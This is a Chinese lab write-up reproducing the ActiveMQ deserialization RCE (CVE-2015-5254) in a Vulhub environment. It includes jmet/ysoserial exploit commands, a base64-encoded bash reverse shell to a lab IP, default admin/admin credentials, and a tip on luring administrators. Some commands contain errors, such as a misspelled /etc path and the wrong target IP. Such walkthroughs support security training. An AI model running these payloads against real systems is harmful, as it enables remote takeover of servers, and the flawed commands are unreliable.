Vulhub漏洞之ActiveMQ 反序列化任意命令执行漏洞 (CVE-2015-5254)
一、搭建环境
1、安装好docker和vulhub
如何搭建vulhub靶场的链接
pip install docker-compose
git clone git://github.com/vulhub/vulhub.git
之后进入相应目录
cd vulhub/activemq/CVE-2015-5254/
启动环境
docker-compose up -d
如果环境启动失败,有可能是因为源没有换成国内的。
进入这个目录
cd /ect/docker/daemon.json
将源换成阿里云
{
"registry-mirrors":["https://6kx4zyno.mirror.aliyuncs.com"]
}
重启docker服务
systemctl daemon-reload
systemctl restart docker
二、利用
受害机:192.168.233.129
攻击机:192.168.233.128
运行环境后,会在端口61616和8161上建立两个端口。端口61616是工作端口,消息在这个端口上传递。8161端口为网页管理页面端口。访问http://your-ip:8161,可以看到网管页面,但是这个漏洞理论上不需要网络。
漏洞利用过程如下:
1. 生成序列化的有效载荷(你可以使用 ysoserial)
2. 将有效负载发送到端口 61616
3. 访问网页管理页面并阅读序列化消息,然后您可以触发漏洞。
为了利用这个环境,我们将使用jmet(Java Message Exploitation Tool)。首先下载jmet的jar文件,在同一目录下创建名为external的文件夹(否则可能会出现文件夹不存在的错误)。
jmet是使用ysoserial生成Payload并发送(ysoserial自带jar,我们不需要再下载了),所以我们需要选择一个可以在ysoserial中使用的gadget,比如ROME .
之后在另一台主机构造如下payload:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616
your-ip 改成受害方的ip地址
此时,一个名为 event 的队列将被添加到目标 ActiveMQ 中。
之后在受害方的浏览器访问url以查看此队列中的所有消息。
http://127.0.0.1:8161/admin/browse.jsp?JMSDestination=Event
(登录名/密码: admin/admin)
点击一下id进入查看即可触发漏洞
进入容器
docker-compose exec activemq bash
查看tmp目录下有相应文件,利用成功
kali反弹shell:
将bash -i >& /dev/tcp/192.168.233.128/8888 0>&1
base64编码得到
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xMjgvODg4OCAwPiYx
payload如下
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xMjgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.233.128 61616
攻击方监听8888端口
成功拿到root权限
总结
值得注意的是,通过网页管理页面访问消息并触发漏洞需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接来触发,或者伪装成来自其他服务的合法消息需要等待客户端访问时才触发。